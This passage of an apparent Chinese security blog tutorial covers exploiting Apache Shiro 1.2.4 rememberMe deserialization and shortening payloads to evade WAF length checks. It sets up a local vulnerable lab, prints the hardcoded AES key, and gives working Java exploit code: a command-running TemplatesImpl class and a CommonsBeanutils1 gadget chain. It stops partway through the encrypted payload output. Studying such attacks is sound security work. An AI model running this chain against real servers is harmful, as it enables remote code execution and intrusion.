    <content type="html"><![CDATA[<h2 id="小吐槽"><a href="#小吐槽" class="headerlink" title="小吐槽"></a>小吐槽</h2><p>哈哈，开始之前笔者先来骂下自己，笔者在以前投递过春招和秋招的简历，但是当时投了都石沉大海，那时候就很纳闷为什么参加了若干攻防演练和 CTF 竞赛还有做的一些网安小项目还找不到工作，直到现在我才知道，我都是赶在秋招和春招结束后才投的，也就是说，我总体投递的一个时间线如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">2024 年 2 月 ～ 4 月春招</span><br><span class="line">笔者 2024 年 5 月下旬投递简历</span><br><span class="line">2024 年 9 月 ～ 10 月秋招</span><br><span class="line">笔者 2024 年 11 月下旬投递简历</span><br><span class="line">2025 年 2 月 ～ 4 月春招开始</span><br><span class="line">笔者 2025 年 6 月下旬投递简历</span><br></pre></td></tr></table></figure><p>闹麻了都，再加上以前做钓鱼的时候忘记改 BOSS 直聘和一些软件的在线简历，导致我以前的在线简历成下面这个样子</p><p><img src="https://bfs.iloli.moe/blog/20260302223806271.png" alt="image-20260302223800472"></p><p>难怪 HR 和一些技术看了直接 pass 我🥵，实在是太难绷了啊</p><p><img src="https://bfs.iloli.moe/blog/20260302224011708.png" alt="image-20260302224011557"></p><p>言归正传，我们来思考一下 Shiro Cookie 长度太长的话要怎么 bypass 一些在线 WAF 长度检测，首先准备以下环境</p><h2 id="开箱即用"><a href="#开箱即用" class="headerlink" title="开箱即用"></a>开箱即用</h2><p>也是许少他们的，但是被删了，找到了一个存档</p><p><a href="https://github.com/freeFV/ShortPayload">https://github.com/freeFV/ShortPayload</a></p><p>效果</p><p>注意：这里的长度是指反序列化<code>Payload</code>进行<code>Base64</code>编码后的长度</p><table><thead><tr><th align="center">反序列化链</th><th align="center">YSOSERIAL长度</th><th align="center">缩小后长度</th><th align="center">缩小率</th></tr></thead><tbody><tr><td align="center">CommonsBeanutils1</td><td align="center">3692</td><td align="center">1296</td><td align="center">64.8%</td></tr><tr><td align="center">CommonsCollections1</td><td align="center">1868</td><td align="center">1748</td><td align="center">6.4%</td></tr><tr><td align="center">CommonsCollections2</td><td align="center">4176</td><td align="center">1708</td><td align="center">41.4%</td></tr><tr><td align="center">CommonsCollections3</td><td align="center">4784</td><td align="center">2444</td><td align="center">48.9%</td></tr><tr><td align="center">CommonsCollections4</td><td align="center">4720</td><td align="center">2256</td><td align="center">52.2%</td></tr><tr><td align="center">CommonsCollections5</td><td align="center">2772</td><td align="center">3044</td><td align="center">-8.9%</td></tr><tr><td align="center">CommonsCollections6</td><td align="center">1708</td><td align="center">1560</td><td align="center">8.6%</td></tr><tr><td align="center">CommonsCollections7</td><td align="center">1700</td><td align="center">1636</td><td align="center">3.7%</td></tr><tr><td align="center">CommonsCollectionsK1</td><td align="center">2464</td><td align="center">1708</td><td align="center">30.6%</td></tr><tr><td align="center">CommonsCollectionsK2</td><td align="center">2472</td><td align="center">1716</td><td align="center">30.5%</td></tr><tr><td align="center">CommonsCollectionsK3</td><td align="center">1644</td><td align="center">1604</td><td align="center">2.4%</td></tr><tr><td align="center">CommonsCollectionsK4</td><td align="center">1652</td><td align="center">1612</td><td align="center">2.4%</td></tr></tbody></table><h2 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h2><p>pom.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.8.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.slf4j<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>slf4j-simple<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.7.30<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>javax.servlet<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javax.servlet-api<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scope</span>&gt;</span>provided<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><p>LoginServlet.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.study.servlet;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.authc.UsernamePasswordToken;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.subject.Subject;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletException;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.annotation.WebServlet;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServlet;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="meta">@WebServlet(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LoginServlet</span> <span class="keyword">extends</span> <span class="title class_">HttpServlet</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doPost</span><span class="params">(HttpServletRequest req, HttpServletResponse resp)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">user</span> <span class="operator">=</span> req.getParameter(<span class="string">&quot;username&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">pass</span> <span class="operator">=</span> req.getParameter(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">rememberMe</span> <span class="operator">=</span> req.getParameter(<span class="string">&quot;rememberMe&quot;</span>);</span><br><span class="line">        <span class="type">UsernamePasswordToken</span> <span class="variable">token</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UsernamePasswordToken</span>(user, pass);</span><br><span class="line">        <span class="keyword">if</span> (rememberMe != <span class="literal">null</span> &amp;&amp; rememberMe.equals(<span class="string">&quot;on&quot;</span>)) &#123;</span><br><span class="line">            token.setRememberMe(<span class="literal">true</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Subject</span> <span class="variable">subject</span> <span class="operator">=</span> SecurityUtils.getSubject();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            subject.login(token);</span><br><span class="line">            resp.getWriter().println(<span class="string">&quot;Login Success! Welcome, &quot;</span> + user);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            resp.getWriter().println(<span class="string">&quot;Login Failed: &quot;</span> + e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>shiro.ini</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[main]</span></span><br><span class="line"><span class="comment"># 仅仅保留最基本的定义</span></span><br><span class="line"><span class="section">[users]</span></span><br><span class="line"><span class="attr">admin</span> = <span class="number">123456</span></span><br><span class="line"><span class="section">[urls]</span></span><br><span class="line">/** = anon</span><br></pre></td></tr></table></figure><h2 id="常规手工攻击姿势"><a href="#常规手工攻击姿势" class="headerlink" title="常规手工攻击姿势"></a>常规手工攻击姿势</h2><p>一般 Shiro 打法很简单，我这里选的版本为 <code>shiro-core 1.2.4</code>，高版本的后续再说，其打法总结就是 Apache  Shiro 的记住我 <code>rememberMe</code> 功能在处理 Cookie 时，会对这个字段进行 base64 解码，然后 AES 解密，再然后反序列化，也就是说我们只要获得到了 AES 加密的密钥，那么就可以构造任意的反序列化对象，然后进行加密发送，在 1.2.4 版本，Shiro 的 key 都是硬编码的，这个大家都知道，你可以在 <code>org.apache.shiro.mgt.AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES</code> 找到其 key 为 <code>kPH+bIxk5D2deZiIxcaaaA==</code></p><p><img src="https://bfs.iloli.moe/blog/20260302224603448.png" alt="image-20260302224603194"></p><p>然后默认情况下 Shiro 本身是依赖了 <code>Commons-Beanutils</code> 这个库，不过再打的时候可能会遇到一些版本与本地环境不一致，导致反序列化的时候出现 <code>serialVersionUID</code> 不匹配的问题</p><p><img src="https://bfs.iloli.moe/blog/20260302224855887.png" alt="image-20260302224850120"></p><p>并且 Shiro 自带的 CB 库不包含完整的 <code>Commons-Collections</code>，所以我们在打的时候部分依赖 CC 的链子会失效，那么解决方法就是确保本地的 CB 和 CC 库版本与 Shiro 环境中的版本是对应上的，例如我这里用的是 <code>Commons-Beanutils 1.8.3</code> 和 <code>Commons-Collections 3.1</code></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.8.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">   </span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.slf4j<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>slf4j-simple<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.7.30<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>javax.servlet<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javax.servlet-api<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">scope</span>&gt;</span>provided<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后接下来就是手动攻击了，我们得先编写一个恶意类，比如 <code>calculator.java</code>，继承 <code>AbstractTranslet</code>，然后写一个构造函数执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">calculator</span> <span class="keyword">extends</span> <span class="title class_">com</span>.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">calculator</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;open -a Calculator&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] s)</span> &#123;&#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator di, com.sun.org.apache.xml.internal.serializer.SerializationHandler s)</span> &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接着编写 exp 来进行利用，比如我这里通过 <code>CommonsBeanutils1</code> 来进行利用，具体 sink 就是 <code>BeanComparator.compare()</code> $\rightarrow$ <code>PropertyUtils.getProperty()</code> $\rightarrow$ <code>TemplatesImpl.getOutputProperties()</code> $\rightarrow$ <code>TemplatesImpl.newTransformer()</code> $\rightarrow$ <strong><code>TemplatesImpl.getTransletInstance()</code></strong> $\rightarrow$ <strong><code>Runtime.exec()</code></strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.codec.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.util.ByteSource;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object object, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> object.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(object, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getPayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">&quot;/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class&quot;</span>));</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;Pwned&quot;</span>);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="keyword">final</span> <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">        setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">        <span class="keyword">return</span> queue;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">payloadObject</span> <span class="operator">=</span> getPayload();</span><br><span class="line">        java.io.<span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ByteArrayOutputStream();</span><br><span class="line">        java.io.<span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ObjectOutputStream(baos);</span><br><span class="line">        oos.writeObject(payloadObject);</span><br><span class="line">        oos.close();</span><br><span class="line">        <span class="type">byte</span>[] payloadBytes = baos.toByteArray();</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] keyBytes = Base64.decode(key);</span><br><span class="line">        <span class="type">AesCipherService</span> <span class="variable">aes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AesCipherService</span>();</span><br><span class="line">        <span class="type">ByteSource</span> <span class="variable">ciphertext</span> <span class="operator">=</span> aes.encrypt(payloadBytes, keyBytes);</span><br><span class="line">        System.out.println(ciphertext.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后接下来运行脚本，我们会得到</p><p><img src="https://bfs.iloli.moe/blog/20260302225738685.png" alt="image-20260302225738232"></p><p>可以看见是非常的长啊（lens:2540）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">v8MN0uKG3XszG8BTGVRzjjBORl3nFu2X3n9NNChs4mGD7G2Ii5mP0liaLs1OXEJPklbRsP/eT7SHKCrqTrM9wPsFBWe8dR/FKzSlYWYGe2EouyidqP1wb9km/4cucIkrEmnnk/M1OH24lBQm16DsU740uzRD49BK/oaN5l5tHFI9yshX2OxvIDqsuxMDY2XIJ5KZiZn+FMHF53Morv2p8V0fDE6Nwxbm/Ql1Eo4pQdrUKPlu+GKoRUVAO2XqEj+mH2W2ugqG5dZILy51TnEHAB+EQ1imcqqG591k8mwNhjc/RHl6opLc4HJo6MknwLupVZIoCRDlafzhgnOVZJRYuGk49Al7z9pA5xvGGsmtWMWlj6694mgf9bNi0EDqaeifgzBJyrtmetRoTdp46inOaaN+QwxAttpjSIdvNSwp7tzLQoy69U4Q8FV9rxTHfWUgxhs7vizJhS6MeVJgugUTOChTsnJoqRG2Z2/yYdrhi91EhhepY6eT/A5EK7Cigi3cOUy84GkqjQ139DX/b9nGRuOv+zbIqf06et6pegeoLMBePKxFLmDA5TMkZHHVojrsdCtlNfkclxCt8hBxRZ+42eJ0uw6kznjMvYbQK+BcMncFeIVj+MuM2NZcZPoTFB8wwtmKMQNpyPNpkJl6YqjeR665Oc+NNQAxksPfIw2syAp4TG7DxjoHXQzQw5Q10i5jggGhz+zTpJ9idNHuy9VGsSu1YWx2GW6w6qRXKfNOrcXcgMJCjYkdZ1GUUmAZjtIXspRoL/4mWYrLh7VHnzXnP5pbkBcnfRtNPsLn/iGu5h2qVAnFctMbMfirUJhrS/bMimovKuo//bRiza2P1/ZdB+C+eorcdk9QjBSp3R5ceTJoGH/Vnjf+yK1RVihUMmm0fFcYN/qZHc6vbuXcnqbXXfrlvI4jfCPAB3sk74MDHRmzOu84UIc4yN5xouD7RpCy9bNFBYkgkeNsY2vGoTUyCFeuIeYpzfOTheHG+suL8fbS/RnhM4TneanQ5ruT5LG1vxVE4FzhhvcMDISFVctTBmon6bdN1m86Hm0LL2zV+sS6B5SnfGBwpQkYYwPIaBHl8jTYcu2FErbakFQ0mSBnsS7N3eFuN8gGxQvt6UVH9sV5Pc+x9QQtmO9bvdeYuodQblhlsQI+UosW0gBK18PYj2mS+2GFWPyiYEP1KTstNLz9Ib6XSK2Htbyqt4cBKOWOWhQTtMk2ZPU3ywTjS3sfka/C40GIkpsFdC9/UHKe4BLMmWGpiT0Dap25NEhxVhJmwop4OaCGEa1T9Eq4BGbA4tYBfXOyy/6f5OVW1N0wI5O9CHhsV3QIj6/OgVYJNOzL7MYBdtPf8tuUjiW+AovPT